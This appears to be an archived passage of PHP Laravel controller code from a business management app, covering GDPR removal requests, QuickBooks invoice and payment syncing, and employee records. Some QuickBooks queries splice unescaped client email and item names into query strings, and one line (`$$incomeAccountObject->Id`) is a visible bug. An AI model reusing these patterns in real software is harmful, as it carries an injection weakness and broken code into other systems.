$dataTable->render('gdpr-settings.index', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { PurposeConsent::whereIn('id', explode(',', $request->row_ids))->delete(); } public function purposeDelete($id) { PurposeConsent::destroy($id); session()->forget('gdpr_setting'); cache()->forget('global-setting'); return Reply::success('Deleted successfully'); } public function approveRejectClient($id, $type) { $removal = RemovalRequest::findorFail($id); $removal->status = $type; $removal->save(); try { if ($type == 'approved' && $removal->user) { $removal->user->delete(); } } catch (\Exception $e) { Log::info($e); } session()->forget('gdpr_setting'); cache()->forget('global-setting'); return Reply::success('Approved successfully'); } public function approveRejectLead($id, $type) { $removal = RemovalRequestDeal::findorFail($id); $removal->status = $type; $removal->save(); try { if ($type == 'approved' && $removal->lead) { $removal->lead->delete(); } } catch (\Exception $e) { Log::info($e); } session()->forget('gdpr_setting'); cache()->forget('global-setting'); return Reply::success('successfully'); } } Http/Controllers/QuickbookController.php000064400000045134150325104510014500 0ustar00quickBooksSetting = QuickBooksSetting::first(); $this->quickBooksEnvironment = $this->quickBooksSetting->environment; $this->quickBooksAccessToken = $this->quickBooksSetting->access_token; $this->quickBooksRefreshToken = $this->quickBooksSetting->refresh_token; $this->quickBooksRealmId = $this->quickBooksSetting->realmid; $this->quickBooksClientId = $this->quickBooksEnvironment == 'Development' ? $this->quickBooksSetting->sandbox_client_id : $this->quickBooksSetting->client_id; $this->quickBooksClientSecret = $this->quickBooksEnvironment == 'Development' ? $this->quickBooksSetting->sandbox_client_secret : $this->quickBooksSetting->client_secret; } public function getCredentials() { $this->quickBooksSetting = QuickBooksSetting::first(); $this->quickBooksEnvironment = $this->quickBooksSetting->environment; $this->quickBooksAccessToken = $this->quickBooksSetting->access_token; $this->quickBooksRefreshToken = $this->quickBooksSetting->refresh_token; $this->quickBooksRealmId = $this->quickBooksSetting->realmid; $this->quickBooksClientId = $this->quickBooksEnvironment == 'Development' ? $this->quickBooksSetting->sandbox_client_id : $this->quickBooksSetting->client_id; $this->quickBooksClientSecret = $this->quickBooksEnvironment == 'Development' ? $this->quickBooksSetting->sandbox_client_secret : $this->quickBooksSetting->client_secret; } public function index() { if ($this->quickBooksClientId == '' || $this->quickBooksClientSecret == '') { return redirect()->back()->withErrors(['credential_error' => __('messages.quickBooksCredentialsIncorrect')]); } // Prep Data Services $dataService = DataService::Configure(array( 'auth_mode' => 'oauth2', 'ClientID' => $this->quickBooksClientId, 'ClientSecret' => $this->quickBooksClientSecret, 'RedirectURI' => route('quickbooks.callback', company()->hash), 'scope' => 'com.intuit.quickbooks.accounting openid profile email phone address', 'baseUrl' => $this->quickBooksEnvironment )); $OAuth2LoginHelper = $dataService->getOAuth2LoginHelper(); $authorizationUrl = $OAuth2LoginHelper->getAuthorizationCodeURL(); return redirect($authorizationUrl); } public function callback() { $realmId = request()->realmId; $requestCode = request()->code; if ($requestCode == '' || $realmId == '') { abort(403); } $dataService = DataService::Configure(array( 'auth_mode' => 'oauth2', 'ClientID' => $this->quickBooksClientId, 'ClientSecret' => $this->quickBooksClientSecret, 'RedirectURI' => route('quickbooks.callback', company()->hash), 'scope' => 'com.intuit.quickbooks.accounting openid profile email phone address', 'baseUrl' => $this->quickBooksEnvironment )); $OAuth2LoginHelper = $dataService->getOAuth2LoginHelper(); $accessToken = $OAuth2LoginHelper->exchangeAuthorizationCodeForToken($requestCode, $realmId); $accessTokenValue = $accessToken->getAccessToken(); $refreshTokenValue = $accessToken->getRefreshToken(); $this->quickBooksSetting->update(['access_token' => $accessTokenValue, 'refresh_token' => $refreshTokenValue, 'realmid' => $realmId]); return redirect(route('invoice-settings.index').'?tab=quickbooks')->with('connect_success', __('messages.quickBooksConnectSuccess')); } public function createInvoice(ModelsInvoice $invoice) { $oauth2LoginHelper = new OAuth2LoginHelper($this->quickBooksClientId, $this->quickBooksClientSecret); $accessTokenObj = $oauth2LoginHelper->refreshAccessTokenWithRefreshToken($this->quickBooksRefreshToken); $accessTokenValue = $accessTokenObj->getAccessToken(); $refreshTokenValue = $accessTokenObj->getRefreshToken(); $this->quickBooksSetting->update(['access_token' => $accessTokenValue, 'refresh_token' => $refreshTokenValue]); $this->getCredentials(); $dataService = DataService::Configure(array( 'auth_mode' => 'oauth2', 'ClientID' => $this->quickBooksClientId, 'ClientSecret' => $this->quickBooksClientSecret, 'accessTokenKey' => $accessTokenValue, 'refreshTokenKey' => $refreshTokenValue, 'QBORealmID' => $this->quickBooksRealmId, 'baseUrl' => $this->quickBooksEnvironment )); $dataService->setLogLocation('/Users/hlu2/Desktop/newFolderForLog'); $dataService->throwExceptionOnError(true); $customerRef = $this->getCustomerObj($dataService, $invoice); $itemsData = []; foreach ($invoice->items as $item) { $itemRef = $this->getItemObj($dataService, $item); $itemsData[] = [ 'Amount' => $item->amount, 'DetailType' => 'SalesItemLineDetail', 'SalesItemLineDetail' => [ 'ItemRef' => [ 'value' => $itemRef->Id, 'name' => 'Services' ] ] ]; } $invoiceData = [ 'Line' => $itemsData, 'CustomerRef' => [ 'value' => $customerRef->Id ], 'CurrencyRef' => [ 'value' => $invoice->currency->currency_code ], ]; if ($invoice->client->email) { $invoiceData['BillEmail'] = [ 'Address' => $invoice->client->email ]; } $theResourceObj = Invoice::create($invoiceData); $resultingObj = $dataService->Add($theResourceObj); // Send quickbooks email to customer /** @phpstan-ignore-next-line */ $dataService->sendEmail($resultingObj, $resultingObj->BillEmail->Address); $error = $dataService->getLastError(); if ($error) { echo 'The Status code is: ' . $error->getHttpStatusCode() . "\n"; echo 'The Helper message is: ' . $error->getOAuthHelperError() . "\n"; echo 'The Response message is: ' . $error->getResponseBody() . "\n"; } else { return $resultingObj->Id; } } public function getCustomerObj($dataService, $invoice) { $customerArray = $dataService->Query("select * from Customer where PrimaryEmailAddr='" . $invoice->client->email . "'"); $error = $dataService->getLastError(); if ($error) { logger($error); } else { if (is_array($customerArray) && count($customerArray) > 0) { return current($customerArray); } } $customerDetails = [ 'DisplayName' => $invoice->client->clientDetails->company_name ?? $invoice->client->name, 'GivenName' => $invoice->client->name, 'CurrencyRef' => [ 'value' => $invoice->currency->currency_code, 'name' => $invoice->currency->currency_name ] ]; if (!is_null($invoice->client->email)) { $customerDetails['PrimaryEmailAddr'] = ['Address' => $invoice->client->email]; } // Create Customer $customerRequestObj = Customer::create($customerDetails); $customerResponseObj = $dataService->Add($customerRequestObj); $error = $dataService->getLastError(); if ($error) { logger($error); } else { ClientDetails::where('user_id', $invoice->client_id)->update(['quickbooks_client_id' => $customerResponseObj->Id]); return $customerResponseObj; } } public function getItemObj($dataService, $item) { $itemName = $this->cleanString($item->item_name); $itemArray = $dataService->Query("select * from Item WHERE Name='" . $itemName . "'"); $error = $dataService->getLastError(); if ($error) { logger($error); } else { if (is_array($itemArray) && count($itemArray) > 0) { return current($itemArray); } } $incomeAccount = $this->getIncomeAccountObj($dataService); // Create Item $dateTime = new \DateTime('NOW'); $ItemObj = Item::create([ 'Name' => $itemName, 'Description' => $item->item_summary, 'Active' => true, 'FullyQualifiedName' => $itemName, 'Taxable' => !is_null($item->taxes), 'UnitPrice' => $item->unit_price, 'Type' => 'Service', 'PurchaseDesc' => $item->item_summary, 'PurchaseCost' => $item->unit_price, 'InvStartDate' => $dateTime, 'IncomeAccountRef' => [ 'value' => $incomeAccount->Id ] ]); $resultingItemObj = $dataService->Add($ItemObj); return $resultingItemObj; // This needs to be passed in the Invoice creation later } public function getIncomeAccountObj($dataService) { $accountArray = $dataService->Query("select * from Account where AccountType='" . self::INCOME_ACCOUNT_TYPE . "' and AccountSubType='" . self::INCOME_ACCOUNT_SUBTYPE . "'"); $error = $dataService->getLastError(); if ($error) { Logger($error); } else { if (is_array($accountArray) && count($accountArray) > 0) { return current($accountArray); } } // Create Income Account $incomeAccountRequestObj = Account::create([ 'AccountType' => self::INCOME_ACCOUNT_TYPE, 'AccountSubType' => self::INCOME_ACCOUNT_SUBTYPE, 'Name' => 'IncomeAccount' ]); $incomeAccountObject = $dataService->Add($incomeAccountRequestObj); $error = $dataService->getLastError(); if ($error) { logger($error); } else { return $$incomeAccountObject->Id; } } public function cleanString($string) { return preg_replace('/[^a-zA-Z0-9_ %\[\]\.\(\)%&-]/s', '', $string); } public function createPayment(ModelsPayment $payment) { $oauth2LoginHelper = new OAuth2LoginHelper($this->quickBooksClientId, $this->quickBooksClientSecret); $accessTokenObj = $oauth2LoginHelper->refreshAccessTokenWithRefreshToken($this->quickBooksRefreshToken); $accessTokenValue = $accessTokenObj->getAccessToken(); $refreshTokenValue = $accessTokenObj->getRefreshToken(); $this->quickBooksSetting->update(['access_token' => $accessTokenValue, 'refresh_token' => $refreshTokenValue]); $this->getCredentials(); $dataService = DataService::Configure(array( 'auth_mode' => 'oauth2', 'ClientID' => $this->quickBooksClientId, 'ClientSecret' => $this->quickBooksClientSecret, 'accessTokenKey' => $accessTokenValue, 'refreshTokenKey' => $refreshTokenValue, 'QBORealmID' => $this->quickBooksRealmId, 'baseUrl' => $this->quickBooksEnvironment )); $dataService->setLogLocation('/Users/hlu2/Desktop/newFolderForLog'); $dataService->throwExceptionOnError(true); $paymentObj = Payment::create([ 'CustomerRef' => [ 'value' => $payment->invoice->client->clientDetails->quickbooks_client_id ], 'TotalAmt' => $payment->amount, 'Line' => [ 'Amount' => $payment->amount, 'LinkedTxn' => [ 'TxnId' => $payment->invoice->quickbooks_invoice_id, 'TxnType' => 'Invoice' ] ] ]); $resultingPaymentObj = $dataService->Add($paymentObj); return $resultingPaymentObj->Id; } public function deletePayment(ModelsPayment $payment) { $oauth2LoginHelper = new OAuth2LoginHelper($this->quickBooksClientId, $this->quickBooksClientSecret); $accessTokenObj = $oauth2LoginHelper->refreshAccessTokenWithRefreshToken($this->quickBooksRefreshToken); $accessTokenValue = $accessTokenObj->getAccessToken(); $refreshTokenValue = $accessTokenObj->getRefreshToken(); $this->quickBooksSetting->update(['access_token' => $accessTokenValue, 'refresh_token' => $refreshTokenValue]); $this->getCredentials(); $dataService = DataService::Configure(array( 'auth_mode' => 'oauth2', 'ClientID' => $this->quickBooksClientId, 'ClientSecret' => $this->quickBooksClientSecret, 'accessTokenKey' => $accessTokenValue, 'refreshTokenKey' => $refreshTokenValue, 'QBORealmID' => $this->quickBooksRealmId, 'baseUrl' => $this->quickBooksEnvironment )); $dataService->setLogLocation('/Users/hlu2/Desktop/newFolderForLog'); $dataService->throwExceptionOnError(true); $theResourceObj = $dataService->FindbyId('payment', $payment->quickbooks_payment_id); $dataService->Delete($theResourceObj); } public function deleteInvoice(ModelsInvoice $invoice) { $oauth2LoginHelper = new OAuth2LoginHelper($this->quickBooksClientId, $this->quickBooksClientSecret); $accessTokenObj = $oauth2LoginHelper->refreshAccessTokenWithRefreshToken($this->quickBooksRefreshToken); $accessTokenValue = $accessTokenObj->getAccessToken(); $refreshTokenValue = $accessTokenObj->getRefreshToken(); $this->quickBooksSetting->update(['access_token' => $accessTokenValue, 'refresh_token' => $refreshTokenValue]); $this->getCredentials(); $dataService = DataService::Configure(array( 'auth_mode' => 'oauth2', 'ClientID' => $this->quickBooksClientId, 'ClientSecret' => $this->quickBooksClientSecret, 'accessTokenKey' => $accessTokenValue, 'refreshTokenKey' => $refreshTokenValue, 'QBORealmID' => $this->quickBooksRealmId, 'baseUrl' => $this->quickBooksEnvironment )); $dataService->setLogLocation('/Users/hlu2/Desktop/newFolderForLog'); $dataService->throwExceptionOnError(true); $theResourceObj = $dataService->FindbyId('invoice', $invoice->quickbooks_invoice_id); $dataService->Delete($theResourceObj); } public function voidInvoice(ModelsInvoice $invoice) { $oauth2LoginHelper = new OAuth2LoginHelper($this->quickBooksClientId, $this->quickBooksClientSecret); $accessTokenObj = $oauth2LoginHelper->refreshAccessTokenWithRefreshToken($this->quickBooksRefreshToken); $accessTokenValue = $accessTokenObj->getAccessToken(); $refreshTokenValue = $accessTokenObj->getRefreshToken(); $this->quickBooksSetting->update(['access_token' => $accessTokenValue, 'refresh_token' => $refreshTokenValue]); $this->getCredentials(); $dataService = DataService::Configure(array( 'auth_mode' => 'oauth2', 'ClientID' => $this->quickBooksClientId, 'ClientSecret' => $this->quickBooksClientSecret, 'accessTokenKey' => $accessTokenValue, 'refreshTokenKey' => $refreshTokenValue, 'QBORealmID' => $this->quickBooksRealmId, 'baseUrl' => $this->quickBooksEnvironment )); $dataService->setLogLocation('/Users/hlu2/Desktop/newFolderForLog'); $dataService->throwExceptionOnError(true); $theResourceObj = $dataService->FindbyId('invoice', $invoice->quickbooks_invoice_id); $dataService->void($theResourceObj); } public function updateInvoice(ModelsInvoice $invoice) { $oauth2LoginHelper = new OAuth2LoginHelper($this->quickBooksClientId, $this->quickBooksClientSecret); $accessTokenObj = $oauth2LoginHelper->refreshAccessTokenWithRefreshToken($this->quickBooksRefreshToken); $accessTokenValue = $accessTokenObj->getAccessToken(); $refreshTokenValue = $accessTokenObj->getRefreshToken(); $this->quickBooksSetting->update(['access_token' => $accessTokenValue, 'refresh_token' => $refreshTokenValue]); $this->getCredentials(); $dataService = DataService::Configure(array( 'auth_mode' => 'oauth2', 'ClientID' => $this->quickBooksClientId, 'ClientSecret' => $this->quickBooksClientSecret, 'accessTokenKey' => $accessTokenValue, 'refreshTokenKey' => $refreshTokenValue, 'QBORealmID' => $this->quickBooksRealmId, 'baseUrl' => $this->quickBooksEnvironment )); $dataService->setLogLocation('/Users/hlu2/Desktop/newFolderForLog'); $dataService->throwExceptionOnError(true); $customerRef = $this->getCustomerObj($dataService, $invoice); $itemsData = []; foreach ($invoice->items as $item) { $itemRef = $this->getItemObj($dataService, $item); $itemsData[] = [ 'Amount' => $item->amount, 'DetailType' => 'SalesItemLineDetail', 'SalesItemLineDetail' => [ 'ItemRef' => [ 'value' => $itemRef->Id, 'name' => 'Services' ] ] ]; } $invoiceData = [ 'Line' => $itemsData, 'CustomerRef' => [ 'value' => $customerRef->Id ] ]; if ($invoice->client->email) { $invoiceData['BillEmail'] = [ 'Address' => $invoice->client->email ]; } $invoiceEntity = $dataService->FindbyId('invoice', $invoice->quickbooks_invoice_id); $theResourceObj = Invoice::update($invoiceEntity, $invoiceData); $res = $dataService->Update($theResourceObj); } } Http/Controllers/EmployeeController.php000064400000131074150325104510014327 0ustar00pageTitle = 'app.menu.employees'; $this->middleware(function ($request, $next) { abort_403(!in_array('employees', $this->user->modules)); return $next($request); }); } /** * @param EmployeesDataTable $dataTable * @return mixed|void */ public function index(EmployeesDataTable $dataTable) { $viewPermission = user()->permission('view_employees'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (!request()->ajax()) { $this->employees = User::allEmployees(); $this->skills = Skill::all(); $this->departments = Team::all(); $this->designations = Designation::allDesignations(); $this->totalEmployees = count($this->employees); $this->roles = Role::where('name', '<>', 'client')->orderBy('id')->get(); } return $dataTable->render('employees.index', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function create() { $this->pageTitle = __('app.addEmployee'); $addPermission = user()->permission('add_employees'); abort_403(!in_array($addPermission, ['all', 'added'])); $this->teams = Team::all(); $this->designations = Designation::allDesignations(); $this->skills = Skill::all()->pluck('name')->toArray(); $this->countries = countries(); $this->lastEmployeeID = EmployeeDetails::count(); $this->checkifExistEmployeeId = EmployeeDetails::select('id')->where('employee_id', ($this->lastEmployeeID + 1))->first(); $this->employees = User::allEmployees(null, true); $this->languages = LanguageSetting::where('status', 'enabled')->get(); $this->salutations = Salutation::cases(); $this->companyAddresses = CompanyAddress::all(); $userRoles = user()->roles->pluck('name')->toArray(); if (in_array('admin', $userRoles)) { $this->roles = Role::where('name', '<>', 'client')->get(); } else { $this->roles = Role::whereNotIn('name', ['admin', 'client'])->get(); } $employee = new EmployeeDetails(); $getCustomFieldGroupsWithFields = $employee->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'employees.ajax.create'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } return view('employees.create', $this->data); } public function getExitDateMessage(Request $request) { $lastDate = $request->input('last_date'); $lastDate = Carbon::parse($lastDate); $today = Carbon::now()->startOfDay(); $tomorrow = Carbon::now()->addDay(); $isExitDate = $request->input('is_exit_date'); if ($lastDate < $today) { $message = __('messages.exitDateErrorForPast', ['date' => $tomorrow->format(company()->date_format)]); $showMessage = true; } else { $message = __('messages.exitDateErrorForFuture', ['date' => $lastDate->format(company()->date_format)]); if($isExitDate == 'false' && $lastDate >= $today){ $showMessage = false; } else { $showMessage = true; } } return response()->json(['message' => $message, 'showMessage' => $showMessage]); } public function assignRole(Request $request) { $changeEmployeeRolePermission = user()->permission('change_employee_role'); abort_403($changeEmployeeRolePermission != 'all'); $userId = $request->userId; $roleId = $request->role; $employeeRole = Role::where('name', 'employee')->first(); $user = User::withoutGlobalScope(ActiveScope::class)->findOrFail($userId); RoleUser::where('user_id', $user->id)->delete(); $user->roles()->attach($employeeRole->id); if ($employeeRole->id != $roleId) { $user->roles()->attach($roleId); } $user->assignUserRolePermission($roleId); $userSession = new AppSettingController(); $userSession->deleteSessions([$user->id]); cache()->forget('sidebar_user_perms_' . $user->id); return Reply::success(__('messages.roleAssigned')); } /** * @param StoreRequest $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreRequest $request) { $addPermission = user()->permission('add_employees'); abort_403(!in_array($addPermission, ['all', 'added'])); DB::beginTransaction(); try { $user = new User(); $user->name = $request->name; $user->email = $request->email; $user->password = bcrypt($request->password); $user->mobile = $request->mobile; $user->country_id = $request->country; $user->salutation = $request->salutation; $user->country_phonecode = $request->country_phonecode; $user->gender = $request->gender; $user->locale = $request->locale; if ($request->has('login')) { $user->login = $request->login; } if ($request->has('email_notifications')) { $user->email_notifications = $request->email_notifications ? 1 : 0; } if ($request->hasFile('image')) { Files::deleteFile($user->image, 'avatar'); $user->image = Files::uploadLocalOrS3($request->image, 'avatar', 300); } if ($request->has('telegram_user_id')) { $user->telegram_user_id = $request->telegram_user_id; } $user->save(); $tags = json_decode($request->tags); if (!empty($tags)) { foreach ($tags as $tag) { // check or store skills $skillData = Skill::firstOrCreate(['name' => $tag->value]); // Store user skills $skill = new EmployeeSkill(); $skill->user_id = $user->id; $skill->skill_id = $skillData->id; $skill->save(); } } if ($user->id) { $employee = new EmployeeDetails(); $employee->user_id = $user->id; $this->employeeData($request, $employee); $employee->save(); // To add custom fields data if ($request->custom_fields_data) { $employee->updateCustomFieldData($request->custom_fields_data); } } $employeeRole = Role::where('name', 'employee')->first(); $user->attachRole($employeeRole); if ($employeeRole->id != $request->role) { $otherRole = Role::where('id', $request->role)->first(); $user->attachRole($otherRole); } $user->assignUserRolePermission($request->role); $this->logSearchEntry($user->id, $user->name, 'employees.show', 'employee'); // Commit Transaction DB::commit(); } catch (TransportException $e) { // Rollback Transaction DB::rollback(); return Reply::error('Please configure SMTP details to add employee. Visit Settings -> notification setting to set smtp ' . $e->getMessage(), 'smtp_error'); } catch (\Exception $e) { logger($e->getMessage()); // Rollback Transaction DB::rollback(); return Reply::error('Some error occurred when inserting the data. Please try again or contact support ' . $e->getMessage()); } if (request()->add_more == 'true') { $html = $this->create(); return Reply::successWithData(__('messages.recordSaved'), ['html' => $html, 'add_more' => true]); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('employees.index')]); } /** * @param Request $request * @return array */ public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-status': $this->changeStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } private function deleteEmployee(User $user) { $universalSearches = UniversalSearch::where('searchable_id', $user->id)->where('module_type', 'employee')->get(); if ($universalSearches) { foreach ($universalSearches as $universalSearch) { UniversalSearch::destroy($universalSearch->id); } } Notification::whereNull('read_at') ->where(function ($q) use ($user) { $q->where('data', 'like', '{"id":' . $user->id . ',%'); $q->orWhere('data', 'like', '%,"name":' . $user->name . ',%'); $q->orWhere('data', 'like', '%,"user_one":' . $user->id . ',%'); $q->orWhere('data', 'like', '%,"user_id":' . $user->id . ',%'); })->delete(); $deleteSession = new AppSettingController(); $deleteSession->deleteSessions([$user->id]); $user->delete(); } protected function deleteRecords($request) { abort_403(user()->permission('delete_employees') != 'all'); $users = User::withoutGlobalScope(ActiveScope::class)->whereIn('id', explode(',', $request->row_ids))->get(); $users->each(function ($user) { $this->deleteEmployee($user); }); } protected function changeStatus($request) { abort_403(user()->permission('edit_employees') != 'all'); $inactiveDate = $request->status == 'deactive' ? now() : null; User::withoutGlobalScope(ActiveScope::class)->whereIn('id', explode(',', $request->row_ids))->update(['status' => $request->status, 'inactive_date' => $inactiveDate]); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->employee = User::withoutGlobalScope(ActiveScope::class)->with('employeeDetail', 'reportingTeam')->findOrFail($id); $this->editPermission = user()->permission('edit_employees'); $userRoles = $this->employee->roles->pluck('name')->toArray(); abort_403(!in_array('admin', user_roles()) && in_array('admin', $userRoles)); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->employee->employeeDetail->added_by == user()->id) || ($this->editPermission == 'owned' && $this->employee->id == user()->id) || ($this->editPermission == 'both' && ($this->employee->id == user()->id || $this->employee->employeeDetail->added_by == user()->id)) )); $this->pageTitle = __('app.update') . ' ' . __('app.employee'); $this->skills = Skill::all()->pluck('name')->toArray(); $this->teams = Team::allDepartments(); $this->designations = Designation::allDesignations(); $this->countries = countries(); $this->languages = LanguageSetting::where('status', 'enabled')->get(); $exceptUsers = [$id]; $this->roles = Role::where('name', '<>', 'client')->get(); $this->userRoles = $this->employee->roles->pluck('name')->toArray(); $this->salutations = Salutation::cases(); $this->companyAddresses = CompanyAddress::all(); /** @phpstan-ignore-next-line */ if (count($this->employee->reportingTeam) > 0) { /** @phpstan-ignore-next-line */ $exceptUsers = array_merge($this->employee->reportingTeam->pluck('user_id')->toArray(), $exceptUsers); } $this->employees = User::allEmployees($exceptUsers, true); if (!is_null($this->employee->employeeDetail)) { $this->employeeDetail = $this->employee->employeeDetail->withCustomFields(); $getCustomFieldGroupsWithFields = $this->employeeDetail->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } } if (request()->ajax()) { $html = view('employees.ajax.edit', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'employees.ajax.edit'; return view('employees.create', $this->data); } /** * @param UpdateRequest $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException * @throws \Illuminate\Contracts\Filesystem\FileNotFoundException */ public function update(UpdateRequest $request, $id) { $user = User::withoutGlobalScope(ActiveScope::class)->findOrFail($id); $user->name = $request->name; $user->email = $request->email; if ($request->password != '') { $user->password = bcrypt($request->password); } $user->mobile = $request->mobile; $user->country_id = $request->country; $user->salutation = $request->salutation; $user->country_phonecode = $request->country_phonecode; $user->gender = $request->gender; $user->locale = $request->locale; if ($request->status) { $lastDate = $request->last_date ? Carbon::createFromFormat($this->company->date_format, $request->last_date, $this->company->timezone) : null; if (request()->last_date != null && $request->status == 'deactive') { $user->status = 'deactive'; $user->inactive_date = $lastDate; } else { $user->status = 'active'; $user->inactive_date = null; } } if ($id != user()->id) { $user->login = $request->login; } if ($request->has('email_notifications')) { $user->email_notifications = $request->email_notifications; } if ($request->image_delete == 'yes') { Files::deleteFile($user->image, 'avatar'); $user->image = null; } if ($request->hasFile('image')) { Files::deleteFile($user->image, 'avatar'); $user->image = Files::uploadLocalOrS3($request->image, 'avatar', 300); } if ($request->has('telegram_user_id')) { $user->telegram_user_id = $request->telegram_user_id; } $user->save(); cache()->forget('user_is_active_' . $user->id); $roleId = request()->role; $userRole = Role::where('id', request()->role)->first(); if ($roleId != '' && $userRole->name != $user->user_other_role) { $employeeRole = Role::where('name', 'employee')->first(); $user = User::withoutGlobalScope(ActiveScope::class)->findOrFail($user->id); RoleUser::where('user_id', $user->id)->delete(); $user->roles()->attach($employeeRole->id); if ($employeeRole->id != $roleId) { $user->roles()->attach($roleId); } $user->assignUserRolePermission($roleId); $userSession = new AppSettingController(); $userSession->deleteSessions([$user->id]); } $tags = json_decode($request->tags); if (!empty($tags)) { EmployeeSkill::where('user_id', $user->id)->delete(); foreach ($tags as $tag) { // Check or store skills $skillData = Skill::firstOrCreate(['name' => $tag->value]); // Store user skills $skill = new EmployeeSkill(); $skill->user_id = $user->id; $skill->skill_id = $skillData->id; $skill->save(); } } $employee = EmployeeDetails::where('user_id', '=', $user->id)->first(); if (empty($employee)) { $employee = new EmployeeDetails(); $employee->user_id = $user->id; } $this->employeeData($request, $employee); $employee->last_date = null; if ($request->last_date != '') { $employee->last_date = companyToYmd($request->last_date); } $employee->save(); // To add custom fields data if ($request->custom_fields_data) { $employee->updateCustomFieldData($request->custom_fields_data); } if (user()->id == $user->id) { session(['user' => $user]); } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('employees.index')]); } /** * @param int $id * @return array */ public function destroy($id) { $user = User::withoutGlobalScope(ActiveScope::class)->findOrFail($id); $this->deletePermission = user()->permission('delete_employees'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $user->employeeDetail->added_by == user()->id))); if ($user->hasRole('admin') && !in_array('admin', user_roles())) { return Reply::error(__('messages.adminCannotDelete')); } $this->deleteEmployee($user); return Reply::success(__('messages.deleteSuccess')); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->viewPermission = user()->permission('view_employees'); $this->employee = User::with('leaveTypes.leaveType')->withoutGlobalScope(ActiveScope::class) ->withOut('clientDetails') ->withCount(['member', 'agents', 'openTasks']) ->findOrFail($id); if ($this->employee->employeeDetail->company_address_id) { $this->companyAddress = CompanyAddress::where('id', $this->employee->employeeDetail->company_address_id)->first(); } else { $this->companyAddress = CompanyAddress::where('is_default', 1)->where('company_id', $this->company->id)->first(); } $this->employeeLanguage = LanguageSetting::where('language_code', $this->employee->locale)->first(); if (!$this->employee->hasRole('employee')) { abort(404); } if ($this->employee->status == 'deactive' && !in_array('admin', user_roles())) { abort(403); } abort_403(in_array('client', user_roles())); $tab = request('tab'); if ( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->employee->employeeDetail->added_by == user()->id) || ($this->viewPermission == 'owned' && $this->employee->employeeDetail->user_id == user()->id) || ($this->viewPermission == 'both' && ($this->employee->employeeDetail->user_id == user()->id || $this->employee->employeeDetail->added_by == user()->id)) ) { if ($tab == '') { // Works for profile $this->fromDate = now()->timezone($this->company->timezone)->startOfMonth()->toDateString(); $this->toDate = now()->timezone($this->company->timezone)->endOfMonth()->toDateString(); $this->lateAttendance = Attendance::whereBetween(DB::raw('DATE(`clock_in_time`)'), [$this->fromDate, $this->toDate]) ->where('late', 'yes')->where('user_id', $id)->count(); $this->leavesTaken = Leave::selectRaw('count(*) as count, SUM(if(duration="half day", 1, 0)) AS halfday') ->where('user_id', $id) ->where('status', 'approved') ->whereBetween(DB::raw('DATE(`leave_date`)'), [$this->fromDate, $this->toDate]) ->first(); $this->leavesTaken = (!is_null($this->leavesTaken)) ? $this->leavesTaken->count - ($this->leavesTaken->halfday * 0.5) : 0; $this->taskChart = $this->taskChartData($id); $this->ticketChart = $this->ticketChartData($id); if (!is_null($this->employee->employeeDetail)) { $this->employeeDetail = $this->employee->employeeDetail->withCustomFields(); $customFields = $this->employeeDetail->getCustomFieldGroupsWithFields(); if (!empty($customFields)) { $this->fields = $customFields->fields; } } $taskBoardColumn = TaskboardColumn::completeColumn(); $this->taskCompleted = Task::join('task_users', 'task_users.task_id', '=', 'tasks.id') ->where('task_users.user_id', $id) ->where('tasks.board_column_id', $taskBoardColumn->id) ->count(); $hoursLogged = ProjectTimeLog::where('user_id', $id)->sum('total_minutes'); $breakMinutes = ProjectTimeLogBreak::userBreakMinutes($id); $timeLog = intdiv($hoursLogged - $breakMinutes, 60); $this->hoursLogged = $timeLog; } } $this->pageTitle = $this->employee->name; $viewDocumentPermission = user()->permission('view_documents'); $viewImmigrationPermission = user()->permission('view_immigration'); switch ($tab) { case 'tickets': return $this->tickets(); case 'projects': return $this->projects(); case 'attendance': return $this->attendance($this->employee->id); case 'tasks': return $this->tasks(); case 'leaves': return $this->leaves(); case 'timelogs': return $this->timelogs(); case 'documents': abort_403(($viewDocumentPermission == 'none')); $this->view = 'employees.ajax.documents'; break; case 'emergency-contacts': $this->view = 'employees.ajax.emergency-contacts'; break; case 'increment-promotions': $viewIncrementPermission = user()->permission('view_increment_promotion'); abort_403(($viewIncrementPermission == 'none')); $this->manageIncrementPermission = user()->permission('manage_increment_promotion'); $this->incrementPromotion($id); $this->view = 'employees.ajax.increment-promotions'; break; case 'appreciation': $viewAppreciationPermission = user()->permission('view_appreciation'); abort_403(!in_array($viewAppreciationPermission, ['all', 'added', 'owned', 'both'])); $this->appreciations = $this->appreciation($this->employee->id); $this->view = 'employees.ajax.appreciations'; break; case 'leaves-quota': $settings = company(); $now = Carbon::now(); $yearStartMonth = $settings->year_starts_from; $leaveStartDate = null; $leaveEndDate = null; if($settings && $settings->leaves_start_from == 'year_start'){ if ($yearStartMonth > $now->month) { // Not completed a year yet $leaveStartDate = Carbon::create($now->year, $yearStartMonth, 1)->subYear(); 